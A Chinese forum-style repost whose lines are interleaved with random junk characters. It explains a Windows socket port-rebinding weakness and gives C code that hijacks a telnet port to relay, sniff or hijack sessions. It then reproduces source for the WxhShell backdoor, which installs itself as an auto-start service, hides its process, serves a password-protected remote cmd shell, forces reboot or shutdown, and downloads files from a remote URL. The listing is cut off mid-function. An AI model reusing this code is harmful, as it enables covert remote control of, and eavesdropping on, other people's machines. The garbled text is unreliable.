在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
h58`XH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
3oGt3F{gZ rdl;M>0@ saddr.sin_family = AF_INET;
sT 3^hY7 dpAjR saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Su
586;\ 8n#HFJ~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
PWaw]*dFmy GY6`JWk 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
.b3Qfxc> nrL9
E'F' 这意味着什么?意味着可以进行如下的攻击:
NPhhD&W_ W98i[Q9A7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
8p^bD}lN7 cv-PRH# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?]|\4]zV {@H6HqD 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
yzbx . CJ/X}hi, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*W4m3Lq 9_# >aOqL 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
7`-Zuf 3c#BKHNC 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%+@O#P @K\~O__ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
q}`${3qQ3 D"Bl:W'?j #include
/7aBDc-v #include
j`JMeCG=Ee #include
iZ#!O*> #include
]{)a,c NG DWORD WINAPI ClientThread(LPVOID lpParam);
4,bv)Im+ ` int main()
Ttu2 skcv {
sv: 9clJ WORD wVersionRequested;
nno}e/zqf DWORD ret;
6LOnU~l, WSADATA wsaData;
&vo--V1| BOOL val;
;+W#5<i SOCKADDR_IN saddr;
u!!Y=!y*< SOCKADDR_IN scaddr;
H{@Yo\J int err;
Jv>gwV{ SOCKET s;
14Xqn8uOW SOCKET sc;
o1-m1 <ft int caddsize;
3B1XZm HANDLE mt;
|jQ:~2U| DWORD tid;
=}lh_ wVersionRequested = MAKEWORD( 2, 2 );
3AHlSX err = WSAStartup( wVersionRequested, &wsaData );
5m*iE*+ if ( err != 0 ) {
WQ~;;.v# printf("error!WSAStartup failed!\n");
j| v%)A return -1;
v0
nj M }
`_BNy=`s* saddr.sin_family = AF_INET;
fL_4uC i\ #^`4DhQ/
1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
w,.+IV$Kk ~qcNEl\-y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
NaPt"G saddr.sin_port = htons(23);
;9[fonk if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m4TE5q% 3 {
R}G4rO-J printf("error!socket failed!\n");
HFKfkAl return -1;
) brVduB }
T_s_p val = TRUE;
Y#!UPhg< //SO_REUSEADDR选项就是可以实现端口重绑定的
-(~.6WnhS if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
[="e
ziM{ {
h hG4-HD printf("error!setsockopt failed!\n");
zO~8?jDN4| return -1;
cGtO
+DE }
ta35 K" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
YNLV9.P6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
un)4eo!7 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
NE"@Bk
cm I3=%h if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
xO$lsZPG {
$:cE ^8K ret=GetLastError();
9*2[B"5 printf("error!bind failed!\n");
C\3y {s return -1;
w&$`cD }
1_o],?Q listen(s,2);
gcE|#1> while(1)
J,V9k[88 {
bP8Sj16q caddsize = sizeof(scaddr);
O;z,qo X //接受连接请求
s:OFVlC%\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
1/RsptN"v if(sc!=INVALID_SOCKET)
aK&b{d {
j K!Au mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
'= _/ 1F*q if(mt==NULL)
NiWa7 /Hr {
;'?l$
._ printf("Thread Creat Failed!\n");
kjW+QT?T& break;
ZO!I. }
3
*d"B tg }
&%8'8,. CloseHandle(mt);
^$%S &W }
M9Cv
wMi closesocket(s);
8I-u2Y$Sr WSACleanup();
`NnUyQ;T return 0;
Usr@uI#{J }
TkE 8D
n DWORD WINAPI ClientThread(LPVOID lpParam)
k>F'ypm {
N96jJk SOCKET ss = (SOCKET)lpParam;
+EFgE1w SOCKET sc;
g'pK unsigned char buf[4096];
+1Vjw'P SOCKADDR_IN saddr;
B.wYHNNV long num;
*meZ8DV2DH DWORD val;
FqkDKTS\& DWORD ret;
`sUZuWL_ //如果是隐藏端口应用的话,可以在此处加一些判断
wHsYF` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
3Vsc 9B"w saddr.sin_family = AF_INET;
#hW;Ju73 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
nIAx2dh? saddr.sin_port = htons(23);
8yRJD[/S if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|>27'#JC {
V_>\9m printf("error!socket failed!\n");
YsG%6&zEq return -1;
* 1T& }
-|kA)M[ val = 100;
e`@ # *}A if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
T:t]"d}} {
INcg S MM ret = GetLastError();
X-
pqw~$ return -1;
@xQgY*f# }
*n;!G8\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
VOKZ dC- {
p%iGc<vHX ret = GetLastError();
3Dg,GaRk return -1;
r^h4z`:L }
x N=i]~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
m*ISa(#(, {
]P#XVDn+; printf("error!socket connect failed!\n");
$9]m=S closesocket(sc);
{SwQ[$k=_ closesocket(ss);
u*e.yN return -1;
i#7DR>XF/ }
WF2}-NU" while(1)
BsBK@+ZyI {
{xwm^p(f //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
^w(p8G_-w //如果是嗅探内容的话,可以再此处进行内容分析和记录
s<*XNNE7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0F@"b{&0 num = recv(ss,buf,4096,0);
7]^M># if(num>0)
(>F%UY send(sc,buf,num,0);
SLO%7%>p else if(num==0)
6Ca(U' break;
C2@,BCR num = recv(sc,buf,4096,0);
,pqGX3 if(num>0)
`%CtWJ(e send(ss,buf,num,0);
'=[?~0(B else if(num==0)
"nZ*{uv break;
wyp|qIS; }
Q&MZN);. closesocket(ss);
0*%Z's\M" closesocket(sc);
qi;f^9M% return 0 ;
OH;b"] }
I*LknU@ k:*S&$S!E NXwz$}}Pp ==========================================================
I'PeN0T
f F_Z- 8>P 下边附上一个代码,,WXhSHELL
N U|d , 3,gG" ==========================================================
.^N/peUq @[5xq #include "stdafx.h"
J%x6 =.y~f A! #include <stdio.h>
MG[o%I96 #include <string.h>
Vm%1> '& #include <windows.h>
$P>`m$(8 #include <winsock2.h>
szsk;a #include <winsvc.h>
7#@cz5Su #include <urlmon.h>
S?RN?1 N*%@
#pragma comment (lib, "Ws2_32.lib")
j]*j}%hz #pragma comment (lib, "urlmon.lib")
5Ycco,x a-l;vDs #define MAX_USER 100 // 最大客户端连接数
$"0M U #define BUF_SOCK 200 // sock buffer
HU%o6c w #define KEY_BUFF 255 // 输入 buffer
K/A*<<r
~ 8d?g]DEN)6 #define REBOOT 0 // 重启
q2. XoCf #define SHUTDOWN 1 // 关机
?z}=B u @~JiiC% #define DEF_PORT 5000 // 监听端口
n9@ of ELBa}h; #define REG_LEN 16 // 注册表键长度
,z3{u162 #define SVC_LEN 80 // NT服务名长度
b|cyjDMAA ~2<7ZtV= // 从dll定义API
]d,S749(s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
CF+_/s#j^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
350_CN, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
u`y><w4i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
T6H}/#*tK MxSM@3 v( // wxhshell配置信息
wSb1"a struct WSCFG {
3= xhoRX int ws_port; // 监听端口
/V8}eZ97 char ws_passstr[REG_LEN]; // 口令
Q@
2i~Qo[ int ws_autoins; // 安装标记, 1=yes 0=no
(Q%'N3gk char ws_regname[REG_LEN]; // 注册表键名
-QOw8vm char ws_svcname[REG_LEN]; // 服务名
HFwN char ws_svcdisp[SVC_LEN]; // 服务显示名
Ynp{u`? char ws_svcdesc[SVC_LEN]; // 服务描述信息
Vl%^H[] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
._8KsuJG int ws_downexe; // 下载执行标记, 1=yes 0=no
T32+3wb"I char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
gN24M3{C char ws_filenam[SVC_LEN]; // 下载后保存的文件名
[
j3&/ f@8>HCI };
dY@WI[yog a["2VY6Eq@ // default Wxhshell configuration
vJ\pR~? struct WSCFG wscfg={DEF_PORT,
4AG\[f
8q "xuhuanlingzhe",
43={Xy 1,
.u:81I=w( "Wxhshell",
r) $+ "Wxhshell",
*NkA8PC "WxhShell Service",
'rMN=1:iu" "Wrsky Windows CmdShell Service",
M&NB/ "Please Input Your Password: ",
<@}I0 1,
vw>2(K=e1 "
http://www.wrsky.com/wxhshell.exe",
'|S%aMLZ) "Wxhshell.exe"
w=j };
Mu{;vf|j Nc+,&R13m // 消息定义模块
$-#Yl&?z9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
58%#DX34M char *msg_ws_prompt="\n\r? for help\n\r#>";
S:TgFt0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
e*@{%S char *msg_ws_ext="\n\rExit.";
1WY/6[ char *msg_ws_end="\n\rQuit.";
Zm=(+
f char *msg_ws_boot="\n\rReboot...";
2>86oP& char *msg_ws_poff="\n\rShutdown...";
mjWU0Gh%* char *msg_ws_down="\n\rSave to ";
yHHt(GM|o #{k|I$ char *msg_ws_err="\n\rErr!";
eFpTW&9n char *msg_ws_ok="\n\rOK!";
[%9noB kqce[hgs< char ExeFile[MAX_PATH];
#<e\QE'! int nUser = 0;
3l3+A+n HANDLE handles[MAX_USER];
%=?cZfFqO int OsIsNt;
e=4+$d oI}kH=<, SERVICE_STATUS serviceStatus;
DA2}{ SERVICE_STATUS_HANDLE hServiceStatusHandle;
-8r ~><^'j[ // 函数声明
T :/,2.l int Install(void);
:4MB]v[K int Uninstall(void);
A,%C,*)Cg int DownloadFile(char *sURL, SOCKET wsh);
Ps%qfL\ int Boot(int flag);
Ga# :P F0 void HideProc(void);
J9\a{c;. int GetOsVer(void);
9cEv&3 int Wxhshell(SOCKET wsl);
$aN-Y?U% void TalkWithClient(void *cs);
N@Y ljz| int CmdShell(SOCKET sock);
TF 'U int StartFromService(void);
<$ F\Nk|x int StartWxhshell(LPSTR lpCmdLine);
yY[<0|o u
fv`O4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
taFn![}/!g VOID WINAPI NTServiceHandler( DWORD fdwControl );
s<9RKfm 5B&;uY // 数据结构和表定义
C?i >.t SERVICE_TABLE_ENTRY DispatchTable[] =
_~q?_'kx {
<Q?a=4 {wscfg.ws_svcname, NTServiceMain},
p/U+0f {NULL, NULL}
yaG= j };
.&9 i ]8T |f // 自我安装
FXzFHU/dP int Install(void)
:6zG7qES3 {
H ,+?
t char svExeFile[MAX_PATH];
xdf82) HKEY key;
NzU,va N strcpy(svExeFile,ExeFile);
mt5KbA>nU /9zE^YcT // 如果是win9x系统,修改注册表设为自启动
1gmt2>#v% if(!OsIsNt) {
U5-@2YcH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
d'/TdVM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
J|X
6j&- RegCloseKey(key);
$ &P>r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[5uRS}! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A |3tI RegCloseKey(key);
8F:e|\SB# return 0;
HcedE3Rg }
6_d.Yfbq }
wKi^C8Z2 }
u1z else {
mwY
IJy[ d3W0-INL // 如果是NT以上系统,安装为系统服务
K]j0_~3s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,RgB$TcE if (schSCManager!=0)
:^Fh!br== {
)ZBY* lk9 SC_HANDLE schService = CreateService
YKE46q;J (
)u/H>;L P schSCManager,
:.?gHF.? wscfg.ws_svcname,
om |"S wscfg.ws_svcdisp,
t=u
Qb= SERVICE_ALL_ACCESS,
?gPKcjgoH! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
o99pHW(E SERVICE_AUTO_START,
^)?d6nI SERVICE_ERROR_NORMAL,
>0dv+8Mn svExeFile,
M/q E2L[y NULL,
MY/3]g< NULL,
Zum0J{l
h NULL,
c-g)eV|)S NULL,
Xe#K{gA NULL
(`6T&>(4 );
52b*[tZ if (schService!=0)
NTS#sgP {
`E!N9qI?t$ CloseServiceHandle(schService);
"Vr[4&` CloseServiceHandle(schSCManager);
7lS#f1E strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
p/2jh& strcat(svExeFile,wscfg.ws_svcname);
{@<J_A if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&f7fK|} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Fe.t/amS/ RegCloseKey(key);
"dROb}szn return 0;
Iw<j T|y) }
@^;j)%F} }
N? 5x9duK CloseServiceHandle(schSCManager);
w|CZ7|6 }
sTOa }
RGn!{= Z0`T\ay return 1;
W`"uu.~f }
+uBLk0/)> "wlt> SU // 自我卸载
f>s?4 int Uninstall(void)
I+!:K|^ {
?H_LX;r HKEY key;
>yXN,5d[ 2P]L9'N{Y if(!OsIsNt) {
<H0R&l\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`'\t$nU RegDeleteValue(key,wscfg.ws_regname);
`xz<>g9e RegCloseKey(key);
dB+N\HBY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
n!')wIk RegDeleteValue(key,wscfg.ws_regname);
5C"QE8R o RegCloseKey(key);
<5G{"U+ \ return 0;
BW"&6t#kA }
N`E-+9L) }
xl"HotsX-x }
0QvT else {
,=aJVb=C 8)kLV_+% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
'S[++w?Qq if (schSCManager!=0)
RJy=pNztm {
\`ZW* EtPI SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
]r3Kg12Mi if (schService!=0)
2DB7+aZ* {
:5/Uh/sX if(DeleteService(schService)!=0) {
2 o#,kGd CloseServiceHandle(schService);
>6oOZbUY0 CloseServiceHandle(schSCManager);
|A%<Z( return 0;
I+ es8 }
xr7+$:>a CloseServiceHandle(schService);
TRZRYm" }
JT9N!CGZ CloseServiceHandle(schSCManager);
xAu/ }
,v&L:a }
W5^.-B,(K ~+<olss_ return 1;
{V1Pp;A }
BC,.^"fA6 t+?P^Ok // 从指定url下载文件
.XkMk|t8 int DownloadFile(char *sURL, SOCKET wsh)
lQfL3`X! {
[ >^PRs HRESULT hr;
Q#(GI2F2# char seps[]= "/";
0 a~HiIh char *token;
ZhNdB char *file;
BSq)RV/3 char myURL[MAX_PATH];
GabYfUkO char myFILE[MAX_PATH];
}<PxWZ`,\ ?:|-Dq, strcpy(myURL,sURL);
bln/1iS token=strtok(myURL,seps);
q~L^au8 while(token!=NULL)
w_ {,<[# {
p'sc0@}_O file=token;
@$"L:1_ token=strtok(NULL,seps);
)HD`O~M> }
v|ox!0:# ;f,c't@w GetCurrentDirectory(MAX_PATH,myFILE);
*_ +7ni strcat(myFILE, "\\");
-o+74=E8[? strcat(myFILE, file);
F`nb21{0y& send(wsh,myFILE,strlen(myFILE),0);
QQe;1O send(wsh,"...",3,0);
KluA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
uY<
H#k if(hr==S_OK)
| 3+m%;X return 0;
83cW=?UgA else
.D4bqL return 1;
xyH/e*a 8F)G7
H, }
577:u<Yt NZN-^ > // 系统电源模块
^v9|%^ug int Boot(int flag)
ds[QwcV9- {
$T<}y_nHl HANDLE hToken;
5efxEt>U TOKEN_PRIVILEGES tkp;
g(O;{Q_ }j1!j&& if(OsIsNt) {
0)Rw|(Fpo] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/D_+{dtE LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`]$?uQ tkp.PrivilegeCount = 1;
_{jP;W tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
sA9&/p/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
-ng=l; if(flag==REBOOT) {
19(Dj&x if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
>x3ug]Bu return 0;
Px M!U!t }
kl1Y] ?z} else {
E3a_8@ZB7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
<Fs-3(V+\ return 0;
_,6f#t }
7GZgu$' }
P6Bl
*@G else {
6zIgQ4Bp24 if(flag==REBOOT) {
*m+5Pr`7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
U-0#0} _ return 0;
)a=/8ofe }
^D@b;EyK else {
ig 0u^BC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Q36)7=at return 0;
iA!7E;o }
{dPgf }
Lc<eRVNd, %lr|xX return 1;
'f/Lv@]a }
lH|LdlX )[&_scSa // win9x进程隐藏模块
@\(v X ] void HideProc(void)
?IX!+>.H {
OlxX.wP lEPAP|~uw HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
{OT:3SS7 if ( hKernel != NULL )
j1Yq5`ia {
7.<^j[? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
g"Qh]: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<Wl(9$ FreeLibrary(hKernel);
|!d"*.Q@F }
=A[5=
k> tPHS98y return;
1'6cGpZY }
ZF#Rej? o%M<-l"!/ // 获取操作系统版本
Bk|K%K int GetOsVer(void)
Nq 8@Nyp {
>s*Drf X6 OSVERSIONINFO winfo;
<
/p8r winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Mo|wME#M GetVersionEx(&winfo);
d]0a%Xh[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
W( *V2<$o return 1;
Em13dem else
N~=A return 0;
myQ&%M
gx }
IGj`_a U[_8WJ7+ // 客户端句柄模块
Aj"7q int Wxhshell(SOCKET wsl)
$%c{06Oq( {
,<ya@Fi{ SOCKET wsh;
h.
hjz? struct sockaddr_in client;
H D/5!d DWORD myID;
FQeYx-7 XOb}<y)r~ while(nUser<MAX_USER)
^9"KTZc-* {
E\)eu1Hw4B int nSize=sizeof(client);
~el-*=<m wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Yq'4e[i if(wsh==INVALID_SOCKET) return 1;
~krS#\ ,ul5,ygA handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
5K56!*Y if(handles[nUser]==0)
HV]Ze>} closesocket(wsh);
O ++/ry%k else
N=,j}FY nUser++;
es.CLkuD7Y }
LhJ a)jFQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1]4^V7y |ek
ak{js return 0;
?;7b*Z }
:iY$82wQ b^V'BC3 // 关闭 socket
PjqeE,5 void CloseIt(SOCKET wsh)
XYbyOM VI {
X,fu! closesocket(wsh);
A[/I#Im7 nUser--;
):6- ExitThread(0);
A! 6r/
}
)3E,D~1e% cwtD@KC[B // 客户端请求句柄
g@nk.aRw void TalkWithClient(void *cs)
3(lVmfk {
W"(u^} y8s=\`~PR SOCKET wsh=(SOCKET)cs;
^7XAw:
? char pwd[SVC_LEN];
}Zl"9A#K char cmd[KEY_BUFF];
;[5r7
jHU char chr[1];
k
'zat3#f int i,j;
,-#GX{! Up ?=m^ while (nUser < MAX_USER) {
C B}BQd ;El <%{( if(wscfg.ws_passstr) {
H7IW"UkBR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
rFd@mO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
x*8O*!ZZ //ZeroMemory(pwd,KEY_BUFF);
h
W.2p+ i=0;
C|e+0aW while(i<SVC_LEN) {
`1'5j "v Lar r}o= // 设置超时
^Vo"fI`=C fd_set FdRead;
g6' !v struct timeval TimeOut;
W,N L*($^ FD_ZERO(&FdRead);
E/O5e(h FD_SET(wsh,&FdRead);
E 5kF^P TimeOut.tv_sec=8;
P W[6/7 TimeOut.tv_usec=0;
ju{%'D!d9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
X8 qIia if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
T_ ^C#> R^{xwI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
!Cb=B pwd
=chr[0]; }: #dV
B+
if(chr[0]==0xd || chr[0]==0xa) { 0\ f-z6
pwd=0; ~iTxv_\=6u
break; \graMu}-
} 5H.Db
i++; %x2b0L\g
} )/%S=c
84`rbL!M
// 如果是非法用户,关闭 socket
GXeAe}T
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HF4Lqh'oco
} s-6:N9-
V*qY"[
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {8m1dEC^@Q
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _Y#Bm/*
{%7<"
while(1) { ~I$}#
=R9*;6?N
ZeroMemory(cmd,KEY_BUFF); qX@9N=g`#O
w6U
@tW
// 自动支持客户端 telnet标准 #O|lfl>}
j=0; 8ui=2k(
while(j<KEY_BUFF) { bF6gBM@*
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S:Xs'0K_
cmd[j]=chr[0]; (Jpm
K O
if(chr[0]==0xa || chr[0]==0xd) { lPS*-p#IZ
cmd[j]=0; &7][@v
break; /co%:}ln
} 0M\NS$u(Y
j++; BTs0o&}e
} "_)|8|gN
#JS`e_3Rr
// 下载文件
SsRVd^=;x
if(strstr(cmd,"http://")) { *<dHqK`?C
send(wsh,msg_ws_down,strlen(msg_ws_down),0); u+DX$#-n!]
if(DownloadFile(cmd,wsh)) j |td,82.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5B|,S1b
else 2FT-}w0;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \^s2W:c
} |Mlh;
else { A\g%
)[
b#g(Y(
switch(cmd[0]) { @LC~*_y
UT;4U;a,m
// 帮助 ~,Mr0
case '?': { dJE`9$jN
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %yhI;M^
break; >;}]pI0T
} K P6PQgc
// 安装 LaT8l?q q
case 'i': { v>:=w|.HC
if(Install()) ?%;B`2 nDR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L5C2ng>
else w .l|G,%=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o'^phlX
break; Z"N(=B
} x_|>n<Z
// 卸载 qOgtGN}k
case 'r': { bQV("~#
if(Uninstall())
2$)mC9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1gk0l'.z
else X#7}c5^Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PvuAg(?
break; *k[kV
} _Z.;u0Zp8
// 显示 wxhshell 所在路径 c.-cpFk^L&
case 'p': { .t:DvB
char svExeFile[MAX_PATH]; bN!u}DnN
strcpy(svExeFile,"\n\r"); \
%_)_"Q
strcat(svExeFile,ExeFile); 4JSZ0:O
send(wsh,svExeFile,strlen(svExeFile),0); Kt6C43]7
break; #~*XDWvIS~
} T N Ist
// 重启 |Z!@'YB
case 'b': { v*Xk WH5
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uZ<%kV1B
if(Boot(REBOOT))
,| <jjq)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -[<vYxX:h:
else { K+-z Y[3
closesocket(wsh); N+hedF@ZU
ExitThread(0); *LEu=3lp%>
} 3FuCW
break; _y"a2M
} p4y6R4kyT
// 关机 LhZZc`|7t
case 'd': { hw|t8 ShW
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cp|:8 [
if(Boot(SHUTDOWN)) 3Mxz_~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q>P[n z%
else { S_j1=6#^
closesocket(wsh); IY03"
ExitThread(0); !6{Jq]
} j7,13,t1-
break; '#KA+?@
} 7\f{'KL
// 获取shell Jxf}b}^T
case 's': { ,5=kDw2
CmdShell(wsh); Fdr*xHx$P
closesocket(wsh); 2*Va9HP!q
ExitThread(0); f@h2;An$w
break; ['?^>jfr
} 48:liR
// 退出 xSdN5RN
case 'x': { K_Z+]]$#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z~:/#?/
CloseIt(wsh); p8$\uo 9YQ
break; :|zp8|
} |$Qp0vOA}
// 离开 ,RR;VKj
case 'q': { Oe/73|
>U
send(wsh,msg_ws_end,strlen(msg_ws_end),0); xSx&79Ez<*
closesocket(wsh); pmoGudaRF
WSACleanup(); Z4\tY^NI
exit(1); +{S Maq
break; L!?v BL
} 2 aew6~
} `!<x"xKu
} \)p4okpR
^4RO
// 提示信息 ~d&'Lp[3
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u"*J[M~
} aD?# ,
} ;,mBT[_ZO
,n^TN{#
return; ;A
x=]Q
} sE^ns\&QP=
=.VepX|?D
// shell模块句柄 Th.3j's
int CmdShell(SOCKET sock) yB
1I53E
{ !?S5IGLOj
STARTUPINFO si; V[4(~,9
ZeroMemory(&si,sizeof(si)); KSF5)CZ5
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G% o7BX
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H]Y#pLu|
PROCESS_INFORMATION ProcessInfo; 5<!o{)I
char cmdline[]="cmd"; t) ;
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |GJBwrL^0
return 0; 7zOhyl?
} h_AJI\{"
#8S [z5 `
// 自身启动模式 2;dM:FHLhO
int StartFromService(void) 7qW.h>%WE
{ u![4=w
typedef struct 0@o;|N"i
{ ])+Sc"g4k
DWORD ExitStatus; H<v c\r
DWORD PebBaseAddress; @=02
DWORD AffinityMask; yBr$ 0$
DWORD BasePriority; Q~x*bMb.
